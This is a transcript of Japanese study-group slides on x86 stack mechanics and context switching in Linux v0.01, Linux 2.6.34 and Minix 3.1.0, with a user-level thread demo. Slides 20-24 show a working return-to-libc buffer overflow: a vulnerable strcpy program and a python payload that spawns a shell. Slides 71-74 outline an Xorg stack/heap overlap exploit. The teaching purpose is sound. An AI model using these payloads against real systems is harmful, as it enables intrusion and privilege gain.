Pro Yearly is on sale from $80 to $50! »

x86 とコンテキストスイッチ

x86 とコンテキストスイッチ

457c3c757b4fae74c7cdc79ad67a5645?s=128

Masami Ichikawa

August 21, 2010
Tweet

Transcript

  1. x86 とコンテキストスイッチ X86 勉強会 2010/08/21 @masami256

  2. 自己紹介 ・ Linux 好き - Fedora の Proven testers グループのメンバー

    - Fedora のテストを色々とやってます - 昔は Debian でパッケージのメンテしたり ・自作カーネルは一応経験済み
  3. はじめに • 特に明記しない限り、 x86_32 のプロテクトモー ドで、呼出規約は cdecl です [masami@ftest x86]$

    uname -a Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386 GNU/Linux [masami@ftest x86]$ gcc -v Using built-in specs. Target: i686-redhat-linux コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable- threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable- libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+ +,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0- gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj- jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with- tune=generic --with-arch=i686 --build=i686-redhat-linux スレッドモデル : posix gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
  4. Agenda Stack の 命令 Stack Stack の まとめ Stack の

    命令 Context Switch Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  5. Agenda Stack の 命令 Stack Stack の まとめ Stack の

    命令 Context Switch Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  6. x86 の命令実行での主な登場人物 • stack • eip • ebp • esp

    • call • ret • Task State Segment(TSS)
  7. Stack • SS レジスタが指すセグメントの領域 – スタックが絡む命令では CPU が自動的に参照 • フラットメモリモデルの場合

    –リニアアドレス空間にスタックを設定可 – 領域の大きさは、セグメント次第 • アクセスには esp 、 ebp を使用する • 関数単位でスタックフレームに分割される • メモリの高位アドレスから低位アドレスに 向かって領域が伸びていく
  8. esp と ebp • esp – スタックポインタ • スタックの末端のアドレスを指す •

    ebp – スタックフレームのベースポインタ – 減算することで、ローカル変数へアクセス – 加算することで、関数の引数へアクセス
  9. スタックフレーム - サンプル void test2(int a, int b) { char

    s[10]; } void test1(int a, int b) { int n = 10; int m = 20; test2(n + a, m + b); } int main(int argc, char **argv) { test1(1, 2); return 0; }
  10. スタックフレーム s Saved ebp Ret address a b n m

    Saved ebp Ret address a b Saved ebp main() のスタックフレーム test1() のスタックフレーム test2() のスタックフレーム esp test1() で引数の n と m にするには、この ようになる movl %eax, 8(%ebp) <- a にアクセス movl %edx, 12(%ebp) <- b にアクセス ローカル変数の場合は、 movl -4(%ebp), %eax <- m にアクセス movl -8(%ebp), %edx <- n にアクセス 高位アドレス 低位アドレス
  11. test1() 実行時のスタックフレーム (gdb) x/x $ebp + 0 0xbffff708: 0xbffff718 (gdb)

    x/x $ebp + 4 0xbffff70c: 0x080483e9 (gdb) x/x $ebp + 8 0xbffff710: 0x00000001 (gdb) x/x $ebp + 12 0xbffff714: 0x00000002 (gdb) x/x $ebp - 4 0xbffff704: 0x00000014 (gdb) x/x $ebp - 8 0xbffff700: 0x0000000a (gdb) x/20x $esp 0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4 0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9 0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6 0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
  12. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  13. Stack 操作の命令 • Push • Pop • Call • Ret

    • Enter • Leave
  14. Stack 操作の命令 - Push/Pop void push_pop(void) { int n =

    0x20; printf("before: n is 0x%x\n", n); asm volatile("push $0x10;\n\t" "pop % [output];\n\t" :[output] "=g"(n)); printf("after: n is 0x%x\n", n); } $ ./a.out before: n is 0x20 after: n is 0x10
  15. Stack 操作の命令 - Call/Ret void call001(void) { printf("call001-1\n"); asm ("pop

    %ebp;\n\t" "ret;\n\t"); printf("call001-2\n"); } void call_ret(void) { asm ("call call001;\n\t"); } $ ./a.out call001-1 call と ret 命令では、 cpu がリターンア ドレスをスタック [ に積む / から取得 ] するので、使用時にこの辺は気にしな くてもよい仕様になってます。
  16. Stack 操作の命令 - Enter/Leave .globl enter_leave /* int enter_leave(void) */

    enter_leave: /* Reserve 16 bytes stack frame */ enter $0x10, $0 movl $0x20, -4(%ebp) /* %eax is return value */ movl -4(%ebp), %eax /* Clear the stack frame */ leave ret /* 呼び出し */ printf("ret is %d\n",enter_leave()); $ ./a.out ret is 32 enter 命令の実行内容は、以下 の内容とほぼ等価です pushl %ebp movl %esp, %ebp subl $16, %esp
  17. eip • 次に実行する命令のアドレスが入る • eip を直接弄ることはありません • mov $0x10, %eip

    とかはできません • call 、 ret や jmp 命令など実行すると cpu が適切な値を eip にセット • eip はスタックに積まれるので、制御を 自分で変更したい場合はこちらを弄り ます
  18. 制御を自分で変える void hello2(void) { cout << __FUNCTION__ << endl; exit(0);

    } extern "C" __attribute__((fastcall)) int hello(int a, int b) { cout << a << ":" << b << endl; return 0; } int main(int argc, char **argv) { int a = 10, b = 20; unsigned long addr = (unsigned long) &hello2; __asm__ __volatile__("push %[ret_ip]\n\t" "jmp hello;\n\t" :: [ret_ip] "g" (addr), [arg_a] "c"(a), [arg_b] "d"(b)); return 0; } $ ./a.out 10:20 hello2
  19. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  20. ここまでのまとめ void test(char *p) { char buf[64]; strcpy(buf, p); }

    int main(int argc, char **argv) { test(argv[1]); printf("ok\n"); return 0; }
  21. main()->test()->system()->exit() の流れで遊んでみる

  22. system() に渡す引数の準備 bt test$ BINSH=/bin/sh ; export BINSH bt test

    $ echo $BINSH /bin/sh bt test $ ./getenv environment[BINSH] is in 0xbfffff15
  23. メモリレイアウト 0xbfffff15 0xb7ece3a0 0xb7ed86e0 B*4 A*72 オーバーフロー用のゴミデータ BBBB で ebp

    が上書きされる system() のアドレス exit() のアドレス system() に渡す引数のアドレス 高位アドレス 低位アドレス
  24. 実行してみる bt test $ ltrace ./vuln `python -c 'print "A"*72

    + "BBBB" + "\xe0\x86\xed\xb7" + "\xa0\xe3\xec\xb7" + "\x15\xff\xff\xbf"'` __libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...> strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) = 0xbffff510 sh-3.1$ id uid=1001(cola) gid=100(users) groups=100(users) sh-3.1$ exit exit --- SIGCHLD (Child exited) --- +++ exited (status 0) +++ bt test $
  25. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  26. Context Switching • Hardware Context Switching –X86 のタスク切り替え機能を利用 –Linux の

    v0.01 はこちら • Software Context Switching –自分でタスクを切り替える •一部で cpu の機能を使う必要がある –今時のカーネルは普通こちら
  27. TSS • Hardware/Software コンテキストスイッチ どちらでも利用する – Hardware コンテキストスイッチは TSS 必須

    – Sfowtware コンテキストスイッチでは所用によ り使う • 各種レジスタ、セグメントなどの情報、 IO 許可 マップなどの情報を保存する領域
  28. Hardware Context Switching • CPU によるサポート – FPU 、 MMX

    、 SSE の切り替えは未サポート – GDT に TSS を置くので、タスク数は 8190 個 が最大 • あまり使われていない – モダンな OS で使われてるケースってあるので しょうか? • Why? – 遅い(らしい) – http://wiki.osdev.org/Context_Switching
  29. Hardware Context Switching の処理 • TSS を作り GDT に置く –

    TSS はプロセス毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えは、 JMP/CALL 命令で 実施 – 各レジスタのセーブ・リストアに関しては CPU がやってくれる – FPU などは除く
  30. Software Context Switching • X86 の機能をフル活用しない –TSS の esp0 や

    IOBP などは利用しま す • タスク数の制限はない –プロセス単位に TSS ディスクリプタ が不要
  31. Software Context Switching の処理 • TSS を作り GDT に置く –

    Linux の場合、 TSS は cpu 毎 • ltr 命令で TSS をセットする – 1 つ目の TSS だけで OK • プロセスの切り替えはスタックの切り替えで実 施 – スタックを次のプロセスのものに切り替えて るのと、関数から戻るときにスタックに積ま れている eip を利用して切り替えを実施 – FPU などは自分で切り替える
  32. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  33. Linux v0.01 の場合

  34. Linux v0.01 - sched_init kernel/sched.c 231void sched_init(void) 232{ 233 int

    i; 234 struct desc_struct * p; 235 236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss)); 237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt)); snip 246 ltr(0); snip 254} include/linux/sched.h 154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n)) TSS ディスクリプタを GDT にセット * fork() 時は新プロセス用に作った TSS ディスクリプタをセットします ltr 命令で TSS をセットします。
  35. Linux v0.01 - copy_process() kernel/fork.c 61int copy_process(int nr,long ebp,long edi,long

    esi,long gs,long none, 64 long eip,long cs,long eflags,long esp,long ss) 65{ snip 70 p = (struct task_struct *) get_free_page(); 71 if (!p) 72 return -EAGAIN; 73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */ 74 p->state = TASK_RUNNING; 75 p->pid = last_pid; snip 118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss)); 119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt)); 120 task[nr] = p; /* do this last, just in case */ 121 return last_pid; 70 行目以降で作った新しいプ ロセスのディスクリプタを設定
  36. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ __tmp.b に gdt に設 定されている次のプ ロセスの TSS セレク タ値を代入
  37. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ カレントプロセスと次のプロ セスが同一ならなにもしない
  38. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ セグメント間ジャンプでプロセス 切り替え実行
  39. Linux v0.01 - switch_to() include/linux/sched.h 168#define switch_to(n) {\ 169struct {long

    a,b;} __tmp; \ 170__asm__("cmpl %%ecx,_current\n\t" \ 171 "je 1f\n\t" \ 172 "xchgl %%ecx,_current\n\t" \ 173 "movw %%dx,%1\n\t" \ 174 "ljmp %0\n\t" \ 175 "cmpl %%ecx,%2\n\t" \ 176 "jne 1f\n\t" \ 177 "clts\n" \ 178 "1:" \ 179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), \ 180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n])); \ 最後に FPU レジスタを使ったプロ セスと切り替え後のプロセスを比 較して同じだったら、 clts 命令を 実行い CR0 レジスタの TS フラグ をリセットする
  40. clts 命令と TS フラグ • CR0 レジスタの TS フラグをクリアする命令 •

    TS は Task Switch の略 • TS フラグはハードウェアコンテキストスイッチ 発生時に CPU によりセットされる • このフラグが立っているときに、浮動小数点命 令を使用すると例外( Device not available) が発 生する • この仕組みを利用して、 FPU レジスタの退避を 遅延させることができる
  41. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  42. Linux v2.6.34 の場合

  43. Linux 2.6.34 の Context Switch • switch_to マクロ –arch/x86/include/asm/system.h •

    __switch_to() –arch/x86/kernel/process_32.c
  44. switch_to - 概要 arch/x86/include/asm/system.h 44/* 45 * Saving eflags is

    important. It switches not only IOPL between tasks, 46 * it also protects other tasks from NT leaking through sysenter etc. 47 */ 48#define switch_to(prev, next, last) \ このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、 次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to() の呼出をします。 __switch_to() から戻った時点で、プロセスが 切り替わっています。
  45. switch_to - 実行部分 57 unsigned long ebx, ecx, edx, esi,

    edi; \ 58 \ 59 asm volatile("pushfl\n\t" /* save flags */ \ 60 "pushl %%ebp\n\t" /* save EBP */ \ 61 "movl %%esp,%[prev_sp]\n\t" /* save ESP */ \ 62 "movl %[next_sp],%%esp\n\t" /* restore ESP */ \ 63 "movl $1f,%[prev_ip]\n\t" /* save EIP */ \ 64 "pushl %[next_ip]\n\t" /* restore EIP */ \ 65 __switch_canary \ 66 "jmp __switch_to\n" /* regparm call */ \ 67 "1:\t" \ 68 "popl %%ebp\n\t" /* restore EBP */ \ 69 "popfl\n" /* restore flags */ \
  46. __switch_to() の主な処理 • もし Prev プロセスが FPU を使っていた場合 は、 FPU

    レジスタを退避する • clts 命令の実行などもある • カーネル用のスタックを設定 • TSS の sp0 • Thread Local Storage へアクセス出きるよう にセグメントを設定 • I/O ポートへのアクセス権の設定
  47. プロセス切替の完了 __switch_to() から戻る場所は、 67 行目にセット されているので、 ebp と、 eflags をリストアす

    ることで switch_to() の処理は終了し、 Next プロ セスの実行が始まる。 67 "1:\t" \ 68 "popl %%ebp\n\t" /* restore EBP */ \ 69 "popfl\n" /* restore flags */ \
  48. プロセス切替時のスタックの様子 Prev プロセスの スタック ebp eflags XXX XXX esp pushl

    %%ebp pushfl movl %[next_sp],%%esp Next プロセスの スタック Ret Address XXX XXX pushl % [next_ip] esp jmp 命令で __switch_to() を呼 び、 __switch_to() から return するとき にきに ret 命令が Next プロセスのスタ ックから %next_ip を読込み、指定され た場所に戻る
  49. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  50. Minix v3.1.0 の場合

  51. Minix3.1.0 の Context Switch •kernel/mpx386.s に実装がある •_restart() がコンテキストスイッチを実行 •通常は c

    の関数からは呼ばれない • 同ファイルの割り込みハンドラから実行 •例外は kernel/main.c の main() で、終了時に呼 び出される • main() の最後に _restart() を呼ぶ • スケジューラにセットされたサーバプロセス の起動処理が走りだす
  52. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax _next_ptr は次のプロセス で、次のプロセスが無け れば、今のプロセスを継 続する
  53. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax _proc_ptr に _next_ptr をセ ットして、 _next_ptr を NULL にする LDT をセット
  54. _restart - LDT の設定 先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt

    にアクセスするために使用しています。このマクロを使用すること で、 lldt 命令の引数を正しくセットできます。 マクロは kernel/sconst.h にて定義。 struct proc { struct stackframe_s p_reg; /* process' registers saved in stack frame */ #if (CHIP == INTEL) reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */ struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and remote segments */ #endif この p_ldt にアクセスする
  55. _restart - 前半 _restart: cmp (_next_ptr), 0 jz 0f mov

    eax, (_next_ptr) mov (_proc_ptr), eax mov (_next_ptr), 0 0: mov esp, (_proc_ptr) lldt P_LDT_SEL(esp) lea eax, P_STACKTOP(esp) mov (_tss+TSS3_S_SP0), eax TSS の sp0 をセット
  56. Minix の TSS 構造体 kernel/protect.h struct tss_s { reg_t backlink;

    reg_t sp0; reg_t ss0; reg_t sp1; snip }; #define TSS3_S_SP0 4 mov (_tss+TSS3_S_SP0), eax ↑ の mov 命令で sp0 をセットするわけですが、その仕組み は単純で、 TSS を表す構造体 _tss の先頭からオフセット TSS3_S_SP0 バイト目にアクセスするだけです。 386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ イト目は sp0 となり、目的の位置にアクセスできます。
  57. _restart - 後半 restart1: decb (_k_reenter) o16 pop gs o16

    pop fs o16 pop es o16 pop ds popad add esp, 4 iretd _restart() 内では使用しないラベル カーネルのリエントラント用 のカウンタをデクリメント iretd で抜けて処理が完了 スタックに積まれているリ ターンアドレスを無視
  58. Agenda Stack Stack の まとめ Stack の 命令 Context Switch

    Linux v0.01 Linux v2.6.34 Minux v3.1.0 Todo Doing Done スレッド
  59. スレッド  スタックの切り替えでスレッドを切り替え ることができます  実験は x86_64 で行ってます

  60. スレッド構造体 typedef struct _Thread { struct _Thread *next; int thread_id;

    unsigned long context[CONTEXT_SIZE]; char *stack_top; /* NULL if this is main() thread */ int status; } Thread;
  61. メインスレッド void ThreadMain(int argc, char **argv) { int t1, t2;

    t1 = ThreadCreate(f, 1); printf("create a new thread (i=%d) [id=%d]\n", 1, t1); t2 = ThreadCreate(f, 2); printf("create a new thread (i=%d) [id=%d]\n", 2, t2); ThreadYield(); printf("main thread finished.\n"); }
  62. スレッド生成 - 前半 int ThreadCreate(ThreadProc proc, unsigned long arg) {

    Thread *child; unsigned long addr = (unsigned long) ThreadStart; unsigned long stack_start = 0; child = AllocateThread(); child->stack_top = malloc(STACK_ALLOC_SIZE); memset(child->stack_top, 0, STACK_ALLOC_SIZE); stack_start = (unsigned long) child->stack_top + STACK_SIZE; memcpy((char *) stack_start, &addr, sizeof(addr));
  63. スレッド生成 - 後半 child->context[0] = stack_start; child->context[1] = stack_start; child->context[2]

    = (unsigned long) proc; child->context[3] = arg; child->status = RUNNING; LinkThread(child); return child->thread_id; }
  64. スレッドのエントリポイント static void ThreadStart(unsigned long proc, unsigned long arg) {

    ThreadProc ptr = (ThreadProc) proc; ptr(arg); ThreadExit(); }
  65. ThreadYeild- 前半 void ThreadYield() { Thread *t; int found =

    0; for (t = threadList->next; t; t = t->next) { if (t && t->status == RUNNING && t != currentThread) { found = 1; break; } }
  66. ThreadYeild- 後半 if (found) { Thread *cur = currentThread; currentThread

    = t; printf("switch id %d to %d\n", cur->thread_id, t->thread_id); _ContextSwitch(cur->context, t->context); } else if (currentThread->thread_id == MAIN_THREAD_ID) { // main thread's state is FINISH. printf("There is only main thread\n"); } else { printf("There is no active thread\n"); } }
  67. _ContextSwitch //void _ContextSwitch(void* old_context, void* new_context); .globl ENTRY(_ContextSwitch) ENTRY(_ContextSwitch): movq

    %rdi, %rax // old movq %rsp, 0(%rax) movq %rbp, 8(%rax) movq %rdi, 16(%rax) movq %rsi, 24(%rax) movq %rsi, %rax // new movq 0(%rax), %rsp movq 8(%rax), %rbp movq 16(%rax), %rdi // arg1 movq 24(%rax), %rsi // arg2 ret
  68. スレッドの実行内容 void f(int i) { int n = 0; for

    (n = 0; n < 10; n++) { printf("thread(%d): %d.\n", i, n); ThreadYield(); } printf("thread (i=%d) finished.\n", i); }
  69. 実行結果 [masami@moon]~/experiment/thread% ./test1 create a new thread (i=1) [id=1] create

    a new thread (i=2) [id=2] switch id 0 to 2 thread(2): 0. switch id 2 to 1 thread(1): 0. switch id 1 to 2 ~ switch id 1 to 2 thread (i=2) finished. switch id -1 to 1 thread (i=1) finished. switch id -1 to 0 main thread finished.
  70. まとめ • プロセスの切り替えは、スタックとスタック 操作のメカニズムが主要な鍵になってます • スタック周りの説明はバッファオーバーフロ ーなどのテクニックを紹介している本が結構 詳しいです • 大概は

    x86 で説明しているのと、 exploit コ ードの説明ではスタックの知識が必要なので …
  71. 追加スライド • Linux カーネルの脆弱性のレポート – Exploiting large memory management vulnerabilities

    in Xorg server running on Linux • スタック & ヒープ領域に絡んだ話です – デフォルトインストールの Fedora 13 で 再現 • F13 は selinux 有効、 exec-shiled パッ チ有りがデフォルトです
  72. 概要 •スタックとヒープを大量に使った場合の問題 • スタックとヒープが重なったら危険! •Xorg の MIT-SHM という拡張機能を使ってい ると exploit

    の効果が抜群 • この拡張を無効にすれば exploit の信頼性が落 ちるけど、 Xorg の機能性も落ちる
  73. シナリオ •X サーバに大量のメモリを確保させる • x86_32 では実行する必要なし •共有メモリ S を限界まで確保させる •関数

    F の再帰呼び出しを繰り返し実行させる •S の領域に 0 以外のデータが入っている場所 を探す • スタックフレームとヒープが重なった!
  74. シナリオ •プロセス W を立ち上げて、 S 内のデータを payload で書き換える •F が関数から戻るときはスタックからリター

    ンアドレスを取得する • この時に payload を読み込んだらゲームオー バー • W による書き換えと、 F がリターンアドレス を取得するタイミングでレースがある • でも、ほとんどの SMP システムでは上手く できる
  75. ご清聴ありがとうございました

  76. リファレンス • Insecure Programming by example – http://community.corest.com/~gera/InsecureProgramming/ • OSDev.org

    – http://wiki.osdev.org/Main_Page • Hacking: 美しき策謀 —脆弱性攻撃の理論と実際 – http://www.amazon.co.jp/dp/4873112303 • xorg-large-memory-attack.pdf – http://www.invisiblethingslab.com/resources/misc- 2010/xorg-large-memory-attacks.pdf